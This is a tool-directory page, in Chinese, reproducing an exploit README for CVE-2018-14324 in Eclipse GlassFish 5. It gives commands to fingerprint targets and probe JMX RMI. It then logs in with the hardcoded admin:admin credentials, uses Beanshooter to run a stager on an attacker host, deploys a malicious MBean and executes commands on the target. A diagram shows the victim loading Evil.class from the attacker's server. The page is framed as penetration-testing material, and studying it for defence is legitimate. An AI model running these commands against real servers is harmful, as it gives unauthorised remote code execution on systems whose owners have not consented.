Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2018-14324-Exploit — Hacking Eclipse GlassFish - CVE-2018-14324 | Kitploit
工具/GitHubGitHub/matejsmycka/cve-2018-14324-exploit
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access ToolPayload Development
GitHubmatejsmycka/cve-2018-14324-exploit

CVE-2018-14324-Exploit

Hacking Eclipse GlassFish - CVE-2018-14324

查看仓库
9个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

入侵 Eclipse GlassFish - CVE-2018-14324

CVE-2018-14324 的描述 并未完全解释此漏洞的影响。TLDR:你可以通过硬编码的 admin:admin 凭据访问 Java 管理扩展 (JMX)。

虽然其影响被描述为“可能泄露敏感信息、执行数据库操作或通过 JMX RMI 会话操控演示”,但它并未解释通过 JMX RMI 会话进行操控意味着什么。 我深入研究仅仅是因为 CVSS 评分高达 9.8,结果发现你可以通过 javax.management.loading:type=MLet MBean 实际实现 RCE,该 MBean 在 GlassFish 5 实例中默认启用。

发现

通过查看版本横幅来枚举 GlassFish 服务器。

root@kitploit:~
curl http://<TARGET>:8080/ -i | grep 'Server:'
curl http://<TARGET>:8181/ -ik | grep 'Server:'
curl http://<TARGET>:80/ -i | grep 'Server:'

如果版本是 5,则存在 CVE-2018-14324 漏洞。

然后检查 JMX RMI 服务是否在 7676 端口上运行。

root@kitploit:~
nc <IP_ADDRESS> 7676

你应该会看到连接字符串指向 JMX RMI 服务。保存该字符串供后续使用。

例如:

root@kitploit:~
service:jmx:rmi://vm31465/jndi/rmi://vm31465:8686/vm31465/7676/jmx

如你所见,连接字符串中使用了主机名 vm31465,提到了两个端口:8686 和 7676。

  • 7676 是用于 JNDI 查找的 JMX RMI 端口
  • 8686 是用于 JMX 通信的 JMX 端点端口

你应该将 vm31465 添加到 /etc/hosts 文件中,指向 IP 地址。如果使用 Beanshooter,则不必这样做。

枚举

JMX 到底是什么?它是 Java 管理扩展 (JMX),一种使你能够为 Java 应用程序实现管理接口的技术。可以将其视为 Java 应用程序的 SNMP。

首先,你需要枚举目标系统上可用的 MBean。

root@kitploit:~
java DumpJMX.java "service:jmx:rmi:///jndi/rmi://<TARGET>:7776/<TARGET>/7676/jmxrmi"
# 如果不起作用
java -jar beanshooter-4.1.0-jar-with-dependencies.jar enum <IP> 8686 --password admin --user admin

使用此脚本,你将获得 MBean 列表及其属性和操作。

Mbean com.sun.management:type=DiagnosticCommand 允许你在目标 JVM 上运行诊断命令。你可以使用它来枚举系统属性,有关详细信息,请参阅 DiagnosticCommand.java。

如果你看到 javax.management.loading:type=MLet,则应该能够利用目标。此 MBean 允许你将远程 Java 类加载到目标 JVM 中。 但是,Java 安全管理器可能会阻止你执行任意代码。 唯一有效的 RCE 利用方法是 beanshooter 中的 tomka 模块。自定义攻击被安全管理器阻止。MLet 加载仍然有效,但该类不允许执行代码。

利用

使用 Beanshooter 的 tomka 模块来利用目标。

root@kitploit:~
git clone https://github.com/qtc-de/beanshooter.git
cd beanshooter
mvn clean package -DskipTests

## STAGER
java -jar beanshooter-4.1.0-jar-with-dependencies.jar stager <ATTACKER-IP> 8080 tonka

## DEPLOY

java -jar target/beanshooter-4.1.0-jar-with-dependencies.jar tonka deploy --username admin --password admin --stack-trace <TARGET> 7776 --stager-url http://<ATTACKER-IP>:8080 --no-stager

## COMMAND EXECUTION

java -jar target/beanshooter-4.1.0-jar-with-dependencies.jar tonka exec --username admin --password admin --stack-trace <TARGET> 7776 'id'

你也可以通过编写自己的 MBean 加载器并监控目标是否连接到你的 MLet 服务器来进行调试。 流程如下:

root@kitploit:~
攻击者 -> 受害者:7776 : javax.management.loading:type=MLet MBean 查找

攻击者:8080 <- 受害者:7776 : 请求 MLet 文件
攻击者:8080 -> 受害者:7776 : 包含 Java 类文件 URL 的 MLet(例如 http://attacker:8080/Evil.class)
攻击者:8080 <- 受害者:7776 : 请求 Java 类文件
攻击者:8080 -> 受害者:7776 : Java 类文件

攻击者 -> 受害者:7776 : 在加载的 Java 类上调用方法(例如 Evil.listFiles())

资源

  • https://www.synack.com/exploits-explained/exploits-explained-java-jmxs-exploitation-problems-and-resolutions/
  • https://nvd.nist.gov/vuln/detail/CVE-2018-14324
  • https://0xdf.gitlab.io/2025/07/29/htb-manage.html#
下载工具